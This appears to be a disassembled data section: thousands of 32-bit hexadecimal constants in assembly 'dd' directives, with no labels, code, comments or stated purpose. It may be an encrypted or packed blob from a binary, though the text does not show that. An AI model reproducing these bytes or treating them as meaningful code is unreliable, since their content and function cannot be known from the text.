		dd 0A58EF417h, 5243B04Bh, 0F915BA05h, 0CFC1B7F6h, 693534E9h
		dd 0EBE09C65h, 605D8293h, 1F24C7DAh, 52766802h,	57D0407Eh
		dd 955DBEBFh, 0E3BD0A00h, 3123FA19h, 4B9098FDh,	18D1FBA4h
		dd 6EEA83h, 0F646AE87h,	52B72D99h, 0FAF09570h, 309A8437h
		dd 250EF53h, 0C8BE0F0Ah, 5E4BF368h, 7F147BE9h, 60E81ED9h
		dd 0BC0AD344h, 8AA85AECh, 0CD41A9F4h, 213B65BDh, 28394EB4h
		dd 91879602h, 56D91120h
		dd 9CD49D5Dh, 0E6A1E0F2h, 5D4190Ah, 326FD055h, 0BABB07DCh
		dd 6BBE56F5h, 4A697AF2h, 5F91149Bh, 2754DA5Eh, 63D92208h
		dd 2CB14C50h, 531FE585h, 1D4AF1DAh, 0E7B4C05Fh,	911C9764h
		dd 819FBB5h, 0BD014756h, 2EFD274Ch, 68FB802Eh, 0ECBD0C7Bh
		dd 754D0076h, 0E5813035h, 503B3461h, 65F5000Ah,	0E910513Ah
		dd 0E7526B59h, 3695FD4h, 5045FE75h, 1288AE7Fh, 177A0B22h
		dd 249EBA52h, 58627B40h, 54C90E76h, 741DE9E8h, 0F8A9C3D6h
		dd 4268EE60h, 6A955AA7h, 5D080485h, 3CF08BC1h, 0A8937069h
		dd 5BB24ECFh, 0EFD0D88Bh, 0E9CAD48h, 12635D1Eh,	0EA0C20AEh
		dd 4E4F7299h, 0CE02F7A1h, 66D5DE82h, 0D4FA6B15h, 0F135C25Ch
		dd 0FC3A5453h, 4668E030h, 40D6A427h, 0C705B955h, 9732A43h
		dd 511D2CEEh, 9868571Ch, 0F83C6109h, 6DA5023Eh,	32E96013h
		dd 0BEC73F70h, 52B101D2h, 1084DAF7h, 0C4FE395Fh, 5064BF57h
		dd 9D1B10FEh, 4ECCEE12h, 53E9E833h, 1CE744FDh, 2D585668h
		dd 277714D5h, 7AC246E9h, 0E258D2D6h, 1FB8BD75h,	662CA68h
		dd 25F423Dh, 0BD543DB7h, 0F0B10489h, 57509776h,	0B0505C20h
		dd 50704805h, 0C4A211Fh, 0C279EB0Dh, 3D5BF49Dh,	42997C96h
		dd 3BED8092h, 98F614D7h, 0AF2AE53Eh, 7B800924h,	792D5F54h
		dd 0A0EF5A70h, 875805E4h, 34211C2Bh, 0F1315F2Dh, 27C2246h
		dd 4E8C92F5h, 2BB3FC82h, 0E49C3191h, 57F2A87Ah,	3532BC12h
		dd 69B12804h, 202EF60Dh, 6040EF07h, 9AC92C80h, 0AD781644h
		dd 764C2D6Eh, 74766B57h, 9A27E985h, 0BF1054FDh,	444B2D5Ah
		dd 2FEC0916h, 78047596h, 0D1C517CEh, 1CE3B7AAh,	8B2349C3h
		dd 317D4E13h, 2ACC16h, 0E3814B2Ch, 0F70F580Ah, 0C5EB3117h
		dd 1BA5362Ch, 36E9964h,	0F77A8D6Fh, 209F0DD0h, 0F32D0CF6h
		dd 60FB9D75h, 410557BFh, 0C10119A1h, 531828ABh,	0C69DE912h
		dd 0CD2F3029h, 58EF2A81h, 3DE90420h, 9205A659h,	0E01245E6h
		dd 0D43DB8E4h, 4D9F167Eh, 37A118BCh, 82365449h,	907D5C75h
		dd 0A48F3983h, 0FF01650Fh, 3724BB51h, 77D00AC1h, 602B5F59h
		dd 4ACDC218h, 0D40D6427h, 0BF08A01Dh, 52923E45h, 0F85BBF40h
		dd 0BFDDF761h, 0C200FAFBh, 8122EA49h, 0ED3C38F1h, 0A652BCAEh
		dd 617A0962h, 4C2F2148h, 92F183C0h, 5E2BC06Bh, 9067C741h
		dd 0D55A23B6h, 515A0698h, 88C771FAh, 67803BE2h,	0C01020E9h
		dd 29CCB9FDh, 0EAF646D2h, 2D166164h, 42365DEEh,	1CA60F10h
		dd 5B6930DEh, 5B24E4h, 71BB468Bh, 5B482536h, 0BEE24E2Fh
		dd 0B4E5AEB5h, 82CC0320h, 7E2C715Ch, 0FC7DDC0Bh, 250B9CFFh
		dd 9752165Fh, 177894FFh, 24457268h, 12288E38h, 0C11DB652h
		dd 5B247810h, 5451C150h, 859F2D59h, 0E6BD5EF1h,	8D65C885h
		dd 2FD1E191h, 41FF0312h, 3D3BB9F4h, 4C576077h, 8CE2C404h
		dd 1AD58BE9h, 844C01BAh, 7A8730CEh, 0DED3BD1Ch,	0E19A8904h
		dd 99C28804h, 68D1E016h, 661DF62Ah, 0E3F8B990h,	0ADD1D1BDh
		dd 0FB0258FBh, 0A42F2E9h, 0F79108CFh, 5214F526h, 0C4E9B28Fh
		dd 0CD29261Eh, 0A0F44424h, 9D26B192h, 0B617F630h, 72744E04h
		dd 0D2D3BE16h, 9FAEB15Fh, 0A45F2D32h, 0BBBE3535h, 0C681A62Bh
		dd 13181F90h, 112B56Bh,	7823E908h, 0AD5A2C55h, 0C904F55Ah
		dd 0D17AAA3h, 71FB3184h, 7626F3Ch, 0D3F7DD91h, 0EF310889h
		dd 2B828F41h, 0B32EF8A1h, 74D2CD7Eh, 70D1AB20h,	84549786h
		dd 2F7B6E58h, 5D094059h, 2AE93101h, 205935A2h, 0D41BE3Ch
		dd 116A4A4h, 5096637Eh,	28BF2A58h, 0E45F0127h, 8283CA2Ch
		dd 8B5E65DDh, 4268A6D8h, 46B7749Ah, 8131EE9Fh, 0F471285Ah
		dd 9C16E6E2h, 5A568C2Fh, 74122AFCh, 7DC764E9h, 9BCDB899h
		dd 77A09598h, 0E530F5B4h, 0D7DE21EDh, 0A14CF89Ch, 912422CDh
		dd 0BAE3F7E7h, 0D99CFF76h, 0EAC2AFDCh, 0D7148702h, 9E084345h
		dd 0C3B2004Ah, 53B9EA80h, 30B6B312h, 0E86A60E5h, 3C96ADF5h
		dd 0D5CCE1A1h, 4F06948Dh, 0CBB813A6h, 285C0091h, 0EBF2F047h
		dd 0CFD0F7F5h, 0FEDBE320h, 38EE7829h, 0FF4A6CF7h, 88FF3B74h
		dd 3E8C4EAh, 0E6E93216h, 712DF3A0h, 63A22560h, 5AD29A75h
		dd 68E84498h, 5946EF2Fh, 0ED53881Dh, 1E03762Dh,	85715250h
		dd 0C7E2FFFAh, 0EE65B185h, 5AA13BC8h, 5E42546Bh, 4B785613h
		dd 25620815h, 75CFB751h, 0C4E9136Eh, 9FAD86C6h,	94EC6356h
		dd 0A3DC5ECCh, 1C4F1283h, 20AD69FAh, 0C640B0CAh, 0FF729F2Dh
		dd 9F53EEBh, 968E5E30h,	0B982411h, 0AF005EF7h, 56F51F15h
		dd 2D054CC2h, 0ED28400Dh, 24C2518h, 0F70254FEh,	75019E7Ah
		dd 80180CAh, 6F3C875Dh,	6DC5D0A9h, 104CA49h, 45B3B850h
		dd 0E130671Fh, 0C84225E9h, 0DDBAE26Bh, 0D077C0EAh, 96CF0F64h
		dd 5E7E1105h, 0EDE949EFh, 27982A50h, 1037C20Bh,	42A689E5h
		dd 5D08048Eh, 4C438FBEh, 0D9228498h, 48FE9E27h,	0D62D83D6h
		dd 9C2C822h, 0A6D3EDA1h, 0D92BB832h, 0F6F722DDh, 0AF7A4A36h
		dd 0FA4BB8CBh, 74600179h, 102A12BAh, 6A310467h,	0DD361A16h
		dd 0BB406FF1h, 5B7846B5h, 0FAFA844Bh, 14E9B002h, 0D13F76Eh
		dd 2F66F0C1h, 800028E7h, 0F830A9EFh, 8F4895E9h,	0A53DDE42h
		dd 0CE6D7E0h, 70BB5302h, 5D6EFC19h, 5425C9FEh, 0D70B2043h
		dd 0F6B2F45Dh, 5E380F67h, 40046897h, 25B8BD8h, 0E9451E43h
		dd 8100C0DEh, 2798EBF7h, 0B9C0FE6Eh, 22BD57AEh,	5570C591h
		dd 0CC2E0414h, 5EAD3CB1h, 38CAE2B9h, 8BC19636h,	4646496Fh
		dd 0B437DD81h, 0C600E239h, 394D7BE1h, 4ECEFE42h, 0D39EA25Dh
		dd 0E9010BFCh, 0C149DA2Eh, 0CE5B20EEh, 3470F40Bh, 0C8D0007Fh
		dd 2035EC42h, 370BDEF7h, 0DF4AD447h, 7333F702h,	0C33EA055h
		dd 5BFCEE9Fh, 8F1D81D7h, 0FC540356h, 4858C4DAh,	4E390E4Bh
		dd 0D6FA27C6h, 7D66BB04h, 0AA7C40h, 1DE6817Fh, 76605C71h
		dd 11F52684h, 8EF7959Dh, 300735Ah, 37C70E96h, 0D362D68h
		dd 847BB9C6h, 0F662F564h, 5816B9ACh, 0DA16EB5Bh, 8E18F1Dh
		dd 6809882Eh, 2D7EDED0h, 50D04A74h, 472DC652h, 0B220CF44h
		dd 56592D3Bh, 0EBC39ECh, 5F573E89h, 76B6A7B8h, 0C24AD7B0h
		dd 9D8112F8h, 3F39976Fh, 756E5002h, 0AB126021h,	43533041h
		dd 4777160Ch, 0A2E91B09h, 40E3F67Dh, 6E1C1D1h, 0F9CDF8A8h
		dd 0A9E0A64Ah, 0F9ED4C70h, 22A5D926h, 69D39E86h, 0A8B4C5DFh
		dd 6A4C41B4h, 0B801FAE0h, 0C162246Dh, 3A9E87B6h, 0FF508498h
		dd 2CA6A808h, 177402F5h, 86604B0Eh, 92272201h, 83A5F440h
		dd 0CDDBD96Ah, 0B8BC54E6h, 7E2D9A28h, 63967D94h, 48A82D1Eh
		dd 0E6AA8025h, 0C14A5817h, 305693E6h, 0AEC14772h, 51A7FF12h
		dd 0B6C6F092h, 8AA0DAA0h, 0F60CADB3h, 0C0521071h, 6E4701C2h
		dd 36BBA0Eh, 5C7D050Bh,	5D88ABEh, 6C6AB951h, 0C3E9C3C0h
		dd 0C689C035h, 48283F4Ch, 30660CC0h, 0F9016982h, 0D0D2E26Bh
		dd 64144F10h, 0E91F4077h, 6867AB29h, 2D99E5C9h,	0E341B054h
		dd 3009B850h, 190534FBh, 0C3012D85h, 0E90BDBE3h, 0C020D72Fh
		dd 6AB046F7h, 8A88054Bh, 7E994124h, 61E0F8A1h, 13DDB185h
		dd 0BD5E40ABh, 6D27292h, 0F5258F4h, 7EE85F83h, 103E0BC7h
		dd 7A48E917h, 5AE4B39Fh, 0DE4F07C8h, 6453BE56h,	50FD07FFh
		dd 0EF58DB17h, 29C0720Bh, 87E2F5AEh, 4686555h, 0BEFFADE9h
		dd 51A26CACh, 5F13741h,	6C12D7B8h, 7BF6A76Ah, 4385452Ch
		dd 6093096Bh, 624868B1h, 45F52549h, 4FF0904h, 0BBE00ACAh
		dd 0A3D479ECh, 0C780A620h
		dd 0C82F6628h, 95775845h, 0D6017174h, 5F5C9354h, 1FD56B20h
		dd 81597330h, 721701E3h, 0C0C0833Eh, 0B45D26Ch,	4ED8150Ch
		dd 497F3E0Bh, 5DE6984Bh, 0D6270FF3h, 1840275Eh,	20C45508h
		dd 0DFA096B7h, 95205060h, 82A341FDh, 0F6FC8816h, 562542D4h
		dd 53116BAh, 893D2ABAh,	17D46B27h, 0DAEED494h, 10085D3Ch
		dd 42508859h, 3A7516DBh, 26CB51Dh, 0A7E5D08h, 9AE48C2h
		dd 790450AFh, 3292B2ECh, 2FAAF052h, 5A594C1Eh, 505F1716h
		dd 480770EEh, 7701AF42h, 23E63558h, 2A20718Bh, 1E6E2C89h
		dd 0C9F50936h, 0FA196904h, 0B0127E1Bh, 2CB907E0h, 9D79E8E9h
		dd 29878D5Ah, 490C600Ch, 409F2271h, 50054DFEh, 0E0559012h
		dd 1811603Fh, 222C513Ch, 50E8295Ah, 795B0840h, 29494E9h
		dd 0C1FE72B1h, 0AFA15475h, 0CC9DDFCCh, 0E5E91210h, 0B4C0EC48h
		dd 528B8CE2h, 0E92F685Dh, 0DC4D4849h, 0F8F2C68Fh, 6834C539h
		dd 2593CABEh, 1E3E22EAh, 2597D237h, 88C68819h, 8DF279D3h
		dd 0FDDADC84h, 288E1FECh, 881A09DAh, 591E08E1h,	2F5AF66Fh
		dd 12363EFFh, 0AF54CC68h, 0AC20AD2Dh, 0D7E628E9h, 30347038h
		dd 8A6C0D1Ch, 60097758h, 105D1BE9h, 283B8DF5h, 788E27F4h
		dd 0F638C083h, 1BC43928h, 14B59D92h, 0C8E93E82h, 0AC11DC5Dh
		dd 79EA5A4Dh, 0D1297B4Dh, 137A3021h, 7FF0B19Ah,	0C5C002F2h
		dd 68566BCBh, 0CCDD0134h, 0E2AB0813h, 0C114896Ah, 0F56E05DAh
		dd 58D13E34h, 0AE048044h, 813CDEF6h, 0CD107106h, 0A60C5E5Bh
		dd 0C11E921h, 820A132Bh, 0B050BE28h, 140C6808h,	0D7961739h
		dd 63E663BCh, 6E09F882h, 19AE284Eh, 5159C82Dh, 0E9E802BBh
		dd 0D15748D5h, 0B1C83CECh, 8E161A26h, 26AB72D6h, 0A0443300h
		dd 0B8C13ED5h, 43373565h, 80479070h, 9C2D684Fh,	89B8F136h
		dd 73554ADFh, 0EC7408CBh, 0D7F82909h, 6806C473h, 5E293BB3h
		dd 701713F0h, 93B1515Fh, 59CF8803h, 2607EFC0h, 3AB0806h
		dd 0C728DDB0h, 0AC6858B1h, 0DC2D3671h, 0DD62F88h, 0BBFBC2h
		dd 88529EB1h, 13B0CE4Ah, 76CC9859h, 38F17380h, 0E209C1C2h
		dd 0B1E075E9h, 671E0A2Dh, 0A88B2FA5h, 0A1CED7BBh, 8712DC5Eh
		dd 0EEB53CF8h, 75214929h, 889B002Ah, 0D5F658E5h, 55A55350h
		dd 2E3B51C4h, 0E01AA16h, 2797ABCh, 6407B30h, 0F710833Ch
		dd 9A8104DAh, 502C968Ch, 844AEC8Ah, 0EAE9BE93h,	2333E4A5h
		dd 0E9A3134Fh, 21E1972Fh, 1ECC65Ah, 9D1654BDh, 2E9AE01h
		dd 7151109Bh, 44D7BF9Ah, 0E2810F91h, 280C572Fh,	0B902E086h
		dd 12E9DF7Fh, 49165C91h, 0B57C1CD5h, 5C79EEDCh,	0D241BD20h
		dd 0EFF00989h, 0EB7EA17Dh, 77F095Dh, 6062E243h,	34682FD8h
		dd 9ED059B5h, 5E534150h, 30586CD3h, 9F601BDCh, 280E0450h
		dd 62D2F2D8h, 59CA3352h, 577F5C4Ch, 0EA8D0925h,	8B83DD08h
		dd 32B32911h, 0BF03C29Ah, 0BBD3014Bh, 6C4FA709h, 1F973A05h
		dd 0E121DF59h, 82AC13E9h, 68E2D14Ch, 5CA94CD0h,	692D1254h
		dd 2D55C6CAh, 952A0C52h, 0E186825Eh, 9FF890Bh, 0E40200BDh
		dd 108D74Fh, 0E6C18141h, 0FD074D3Bh, 755A60D9h,	0CAEE32D7h
		dd 0E95F0406h, 96C87F91h, 13510B3Fh, 0C0DD098Ch, 95D3F72Ch
		dd 0EE91F82h, 0F63E32FCh, 64C5B25Ah, 4868BBAh, 53AF6DCCh
		dd 58080924h, 0C6C162D9h, 6DF02D94h, 80709501h,	0E55D0882h
		dd 0A1569E2Dh, 2BB614BCh, 38E9C6F8h, 0BD58412Dh, 54D3970Dh
		dd 0E79491ADh, 33941127h, 2BEB5035h, 7D2D2E00h,	739E55h
		dd 0ED4E8E05h, 1A62E919h, 7898FC5h, 0EABD3F42h,	0C1486031h
		dd 0FE0860E5h, 0F8169804h, 9DEF2928h, 4E82D95Eh, 0F63FE659h
		dd 0F21E4B84h, 46E084ECh, 0B509F954h, 7A8053B2h, 96EE807Fh
		dd 12D006D4h, 78A4AE17h, 3B674184h, 6BA712F0h, 87501A70h
		dd 135B6839h, 0E56147F5h, 0C204DFC7h, 1866341Fh, 1F6B70FAh
		dd 2460F52Ah, 8980C495h, 7A384C5Ah, 6D0500B5h, 68300220h
		dd 178C6949h, 39D039E9h, 1D332DD8h, 425F253Fh, 286F44B3h
		dd 5AB173D7h, 0C0243272h, 0EDC30164h, 0FBD14CC8h, 8179373h
		dd 0EAB75E0Fh, 16531580h, 1EE09F57h, 30EB7970h,	0E109C6C1h
		dd 0C1035627h, 0CD8FE7DBh, 8645AE2Dh, 0E6ECC867h, 9BB8B40h
		dd 0DCE8D77h, 0E81D40DFh, 0AFC4C15Dh, 7B62D37Dh, 80210A5h
		dd 81A2D958h, 0CE68F9F7h, 1D607F66h, 484DE950h,	29B10F41h
		dd 6B7C4947h, 802E2BA5h, 0DB6C970Fh, 41BB424Bh,	5F44E7DBh
		dd 80E3D866h, 43F84814h, 18C3070Fh, 89F2EC12h, 5FF584DDh
		dd 0E4568DBEh, 929DA255h, 0FC07428Ch, 51EB8141h, 2F13B358h
		dd 789457FDh, 0B121C10h, 5E18851h, 0A910A42h, 0C03B095Bh
		dd 5034F5C4h, 9C6A7424h, 3F5DE986h, 1467F36h, 5B6532CEh
		dd 30DEF718h, 7B098978h, 0F53162F8h, 0C4BA0DC0h, 0E977560Fh
		dd 0A2403321h, 0BDFB14C6h, 0BF589D95h, 0EFFA2926h, 2D7AE4CBh
		dd 0CDDA6CB8h, 40FB696Dh, 0C504942Fh, 0C05BE03Ch, 1CCD8B5h
		dd 0E380CCB3h, 0D4D3F6CFh, 0DCB59BF3h, 30490B1Dh, 0F8B7D905h
		dd 3798703Bh, 0CE8E7425h, 0F929268Bh, 0FE8C34C2h, 0D06984F2h
		dd 6897E6C4h, 0BF917390h, 0E07FA198h, 115EEBD8h, 0F5564A96h
		dd 0D40807B4h, 313CB0F2h, 0D7F05BFAh, 16CC494Eh, 0C4551427h
		dd 0A93DE58h, 40A19FDAh, 4529B6DCh, 680740BDh, 86A70517h
		dd 88B3E9FCh, 364AF11Ch, 125F06A8h, 0C3A9CE8h, 39414046h
		dd 13461560h, 1C691F02h, 0A0F9E543h, 68786CB2h,	96767D20h
		dd 2B1480AEh, 0FB683274h, 0FF215964h, 6E28A1h, 0CF69DE04h
		dd 80B02151h, 97579C44h, 0BCB2B292h, 20725075h,	25073D10h
		dd 37372F5h, 282D8750h,	1335241Ah, 82E03966h, 2F023ACCh
		dd 1D16EF9Ah, 7AF8E398h, 0B0873504h, 7F7381A7h,	0E4684982h
		dd 9C9D682Eh, 0C520A3A1h, 0F48613ADh, 0F0120D16h, 0A9B9148Bh
		dd 0D4ACAF5h, 8517BBE9h, 2B6AD341h, 0F22F8021h,	71E9E145h
		dd 0E6BBC955h, 3C7B1080h, 5F62502h, 20553581h, 3B3A0341h
		dd 0C5890438h, 9870B1E9h, 49405F58h, 0A6D64B09h, 0A5EE02A2h
		dd 550C723Ah, 15017F16h, 0E9760B7Eh, 42924780h,	52D1A45Ch
		dd 7F49E1F6h, 38238E9Fh, 0B054840h, 2E07B61Ch, 2B6604h
		dd 50C7E580h, 25797BB0h, 0CC757631h, 59CF2582h,	0E9D02774h
		dd 0FB485A76h, 0D0990B45h, 0E80C99EFh, 0AC43025h, 4FAEDCF6h
		dd 0E747D06Fh, 2A0F258h, 0F4896C7Dh, 550F4006h,	70D25469h
		dd 0CD62D093h, 289CAC00h, 24480595h, 0A52C7C2Ch, 8208524h
		dd 55F2629Dh, 5A84216h,	799F141Bh, 0AACF454Ch, 29FB1B64h
		dd 95C87B58h, 0DA2AE31Fh, 555625D8h, 0DEF026B4h, 69EC8B4Bh
		dd 0C19505B5h, 7AA2BBC8h, 0C988BED2h, 2F7D9420h, 48FB3454h
		dd 0BC28D09Eh, 371D5AF2h, 0B1408164h, 0C61C2F56h, 756B0637h
		dd 98905544h, 6A9B566Dh, 710F847h, 4813419h, 12488EE5h
		dd 1C0EEA4Ch, 4100187h,	0BE2FEB01h, 0BD7E7D2Dh,	0E2AB93E6h
		dd 3FFF131Ah, 939E86F9h, 275CB878h, 0FC1A6E8Bh,	94B55291h
		dd 164C344Bh, 7380AB9Ah, 0C5241068h, 0D483F24Dh, 0C452FA5Ah
		dd 301A1BBCh, 0A9DD49D5h, 0D64EDF9Fh, 7920EF05h, 0A3AD10E7h
		dd 84200841h, 20EBC27h,	0E6301AB4h, 2024CB70h, 0B160116Ch
		dd 0B8CE0857h, 21345A01h, 3A868F6Ah, 0C5091AB3h, 8055CB0Eh
		dd 53E9EFBAh, 56E9BD6Dh, 319E6148h, 0ECE9D7AAh,	5F2034B2h
		dd 11661C58h, 0E13B3A36h, 0E7EA298h, 0D552468h,	0F862F445h
		dd 575F99B7h, 4C23DA2Bh
		dd 4E37226Dh, 2F17BEC7h, 5CC4CEC1h, 7C83CE6Bh, 81D497FEh
		dd 44CA074Fh, 0C5B45AEFh, 70668392h, 1428489Dh,	0C4CC8A39h
		dd 0BE565580h, 37274C88h, 0B0F6D011h, 754D3F8Ah, 0CD0294D8h
		dd 7F70550Fh, 7D3B61D0h, 0D3E916F4h, 0B5513243h, 79E8822Dh
		dd 838B4E0Eh, 723A1BFEh, 0B4E92D4Bh, 0AA0C8092h, 0B2135253h
		dd 6A0488DDh, 31FBB6A2h, 2BA0B8Fh, 7E3C4056h, 12080007h
		dd 0FB40F4BEh, 0CC9F012Fh, 7B64A199h, 802FE33Eh, 7647B7BAh
		dd 0D2F72862h, 0B5A0B8E2h, 79C9BCF9h, 0EEE9420Bh, 0CF800568h
		dd 0C7043873h, 5BF83047h, 8439A9EEh, 0DCA08DE9h, 8C629D5Ah
		dd 276C597Fh, 4AFA5854h, 9DE5571Dh, 3D1CD7A7h, 0D8794AB5h
		dd 0E0B09BFCh, 5F5B2D5Ch, 0E91A4605h, 8CF97D3Dh, 4CBAE9B3h
		dd 2C558AA5h, 0BF0457ABh, 564652EAh, 0D86015ECh, 0CF1A4DE6h
		dd 0F23948B5h, 0A96D001Ch, 0E2D14A03h, 493DB850h, 5060110h
		dd 39FE0F58h, 5BF265D4h, 2E2EE996h, 359ED542h, 8EE97484h
		dd 9D4679FCh, 0AF2EF4D3h, 0ED9C1C92h, 0B6426F70h, 7568477Dh
		dd 4C319B4Eh, 0B54B2C8Bh, 6143AC84h, 1BE58780h,	728D2D58h
		dd 3A7F6E89h, 7001DF7Fh, 3F6A0347h, 17BE7E35h, 0E9B48C8Dh
		dd 404FE833h, 0F5F8785Eh, 3C01ED3Eh, 1D380581h,	34C831E5h
		dd 88324079h, 7DA8F75Fh, 0C7FED7B0h, 0A947E918h, 4C5A54B8h
		dd 7B2DC051h, 652D75E4h, 539CDEB9h, 0C31B39E1h,	0F95E3586h
		dd 0DA55DC0Ah, 68026330h, 0F3244B07h, 53C35423h, 7EAC544Ah
		dd 2B25EAB5h, 0AC0753EFh, 2CE9B077h, 229B9F40h,	0ED809503h
		dd 0AADD2844h, 5AE2D5C5h, 0F9FD0D42h, 6FF6E8C9h, 0ED695397h
		dd 4C5FA297h, 0E9561628h, 6894C00Ch, 7F175ED9h,	180B5A29h
		dd 576262A2h, 52165D73h, 7B8ED9BBh, 0CB82FF35h,	6AD3DC53h
		dd 1F54452h, 7DE32DADh,	4A8213DDh, 544D21A9h, 44457E40h
		dd 3128DB0Eh, 8D74CFAh,	684BE9h, 4B3BB2Dh, 870D6A8Bh, 8D6F7F3h
		dd 1D4D842Ah, 508E40C2h, 70A4E942h, 0E13C1992h,	69871858h
		dd 150EEB1h, 0E48034B4h, 0D4C4FEC3h, 0F625FAF4h, 1E2123D4h
		dd 2454C150h, 4037FBA6h, 0E41904CFh, 0C1A16D50h, 984B0902h
		dd 0D5662DE9h, 300CDAD9h, 0A0546C85h, 0B2F48F87h, 5FBB2597h
		dd 930BFCE6h, 802C612Bh, 0EA04A77Eh, 983CB077h,	3A8D2C8Bh
		dd 1BD28DDh, 21FC0ACFh,	81793EE9h, 14ADED8Dh, 0C42BB2ACh
		dd 0BEC5BAEFh, 0EF6138AAh, 0D2AF0809h, 0FF3075BDh, 0D698B951h
		dd 81203200h, 927F9E1h,	98C17677h, 0D7C9076Ch, 0F17C0249h
		dd 815FD3F1h, 7321EE0Dh, 0F03B3155h, 1F41F03Bh,	9979940h
		dd 0F84C5FC2h, 2F1B51C0h, 0AED2B4B2h, 706A6F99h, 6348E967h
		dd 8105EAC0h, 97C48F95h, 3C348F78h, 0A0EB18E2h,	624108E8h
		dd 18C3E530h, 34E47805h, 251719EBh, 0CAF11FCCh,	560889FAh
		dd 3A555137h, 5DF240BBh, 1768E0D3h, 1387094Dh, 69FBA134h
		dd 0DE4515Ah, 19907F1Dh, 3E4530E2h, 0BC775095h,	5E7F4359h
		dd 5D0238Ah, 6C025BA1h,	0B3C178FBh, 0C2D7C86Fh,	4A96BD2Fh
		dd 0D12B17E1h, 2442B308h, 0D4B702D4h, 6F376228h, 4A098908h
		dd 2DF0CC41h, 1C7930C3h, 0D4FDEE89h, 0CC22928Bh, 0C02EC24h
		dd 42E96B75h, 5EF79F9h,	8522F84Dh, 5DA6FAE7h, 45D91C89h
		dd 56C1E985h, 68DED64Ah, 1E77DB0Dh, 1017FC7Fh, 0BD073509h
		dd 797E5FF3h, 3D75875Fh, 0F8432EFFh, 24B74611h,	3A1BE4EBh
		dd 35BD0989h, 8A87B385h, 57C55B7Ch, 0C9D6A0FBh,	56D8440Ah
		dd 8E07B14Bh, 21F0384Ah, 76C15BDAh, 0EAF4F3E2h,	0A725185Fh
		dd 0D3350C51h, 0D68A3A25h, 0E1A4063h, 8CA118DCh, 69EA1060h
		dd 2E2D2D35h, 0ED038077h, 0F8B849CAh, 400A9045h, 0DD955407h
		dd 0C52953A2h, 4FFEECD7h, 3313FFEDh, 81FF0167h,	9DCFE9FFh
		dd 9331B32Fh, 0FE1075F3h, 0F6BA0342h, 0D1036221h, 932F9CCBh
		dd 0C399173Ch, 68F8ECC6h, 7C2DEEB7h, 1F5D4BD7h,	2275C961h
		dd 0C1389ACEh, 0DEAF4A80h, 93424CBDh, 16FFF956h, 1989BB0Bh
		dd 0FBDFE300h, 50E10941h, 9102E889h, 0A97EB00Fh, 4A5562h
		dd 5237F6B9h, 0ACC1193Dh, 8B13D406h, 12E4FA4h, 522813Dh
		dd 2E7EC2D6h, 0B9C3900h, 0B017746h, 579068C5h, 8220BFC6h
		dd 1878B76Fh, 0DCEBC5D6h, 0C6955B5Ch, 210DD674h, 3B68D544h
		dd 78847027h, 215061E1h, 4BBE667Fh, 0CC34F01Dh,	525E9012h
		dd 1FA87AC0h, 582014FBh, 5A01062Dh, 0B12E4105h,	69BAEC5Dh
		dd 29647812h, 0BB05BEA9h, 0EE407B65h, 908716CCh, 0C206DE31h
		dd 9D3552F2h, 4413E1D5h, 8443277Bh, 1E5E856h, 6D1DAFBFh
		dd 361C14Fh, 58666230h,	0F2766F46h, 5172121Ch, 4BAB01B2h
		dd 3A412301h, 802EDF5h,	2D28705Fh, 9BE64C38h, 1044DBC0h
		dd 5AE941E3h, 221A14F2h, 2151232Fh, 4C744382h, 0F7C5F10h
		dd 75276BC8h, 0B9E91121h, 0B4EC7BDCh, 3146EE8Fh, 80052843h
		dd 0D02841F2h, 2D6698DCh, 4D7C5268h, 7793B562h,	4A971C44h
		dd 91A4C063h, 2F5C81DDh, 5C706CBBh, 0F8DF5FA2h,	0F85D4BE7h
		dd 0F67D12AAh, 0DB9024F3h, 298EA44Eh, 0BE74A6DEh, 5E590AAh
		dd 0FAE90EAEh, 0D2DBC641h, 0A2FA5804h, 0F987A1C1h, 0D323B26Fh
		dd 0D33B32AAh, 55472909h, 26CDCAA0h, 8095B560h,	177C310Ah
		dd 0D5F73778h, 0B1C13010h, 0EE168909h, 54024E5Dh, 0C0516DC4h
		dd 164BEB65h, 0A4187C62h, 2A00EE74h, 4E7EDA69h,	0B2A5EBE9h
		dd 17E5973Bh, 3AC468C1h, 0A0508176h, 960133Fh, 96A8F2F2h
		dd 0F670B02h, 9049C0D1h, 0FCEB88A0h, 49857C18h,	2770120Ch
		dd 37C005F2h, 0BB2D89D9h, 0CFA56101h, 766F4480h, 2AE92958h
		dd 8FEFC94Bh, 2768487Ah, 17566E02h, 905222E9h, 91094F8Bh
		dd 529F9390h, 1615EA17h, 0B5E45B3h, 48144DADh, 14CE690h
		dd 6D27007Fh, 0E957183Dh, 0B52B925Ch, 967FA262h, 2D6709C4h
		dd 0A05D421Dh, 0D530A527h, 1A6C966h, 0FAB7888Eh, 0FB4FC98Ah
		dd 29682C28h, 2F2F2FD5h, 0EB5510DDh, 1494265Bh,	0BC722535h
		dd 5F17E93Ah, 5A856027h, 2C1C49ECh, 0AE0193B4h,	0C7F9D7B5h
		dd 0A972C46Eh, 0F801A51Fh, 6BCB48CDh, 24C7F8E6h, 6BA55342h
		dd 6477C302h, 0B0BF5905h, 373BE357h, 4B2E9315h,	10684E0h
		dd 0EB31C2B9h, 40D9295Dh, 5259C8F4h, 77576817h,	4EDE9BFCh
		dd 0BA12659Ah, 495F22CAh, 7B5C5AA1h, 165CF97Ah,	0A7905D78h
		dd 89AD94D6h, 0B4EFBACh, 0AF7CA12Bh, 0D0D5C140h, 2A627DDCh
		dd 59094E5h, 0B2F1BCDh,	0E394977Ah, 0F5506A3Ah,	77957C20h
		dd 0E97BCA3Eh, 0E1677E4Eh, 57D383A2h, 5100EED9h, 0C980DAB1h
		dd 0FCC1E6E6h, 0C0E917D0h, 61004E1h, 0F16802B8h, 0B391985Ch
		dd 5C504C88h, 7CD49010h, 0CCA71BDh, 0EB8F4B94h,	0BC4F4D09h
		dd 2B04A01h, 75685708h,	5F5A0770h, 3EC171FAh, 53352A72h
		dd 9AC54530h, 25E5127Ch, 0F4E1FEE9h, 8242B23Ah,	51269868h
		dd 0C205927Fh, 0D05FBFF7h, 829181E2h, 50C21582h, 3B4A61E6h
		dd 7D580B55h, 0A3AA03C0h, 76451AB5h, 38F60D4Fh,	49DA7B16h
		dd 0E8ED3615h, 6514EE00h, 0F0897ED6h, 1AD18CCCh, 6A681258h
		dd 0B7BC8C0Fh, 0E67FB641h, 4E9A3ECCh, 52833589h, 45F0797Ah
		dd 22617604h, 0D9BD7B9Ch, 36310841h, 89FF1405h,	8D066054h
		dd 9A83952h, 59C487Dh, 91C4F591h, 815E080Ah, 0D685E906h
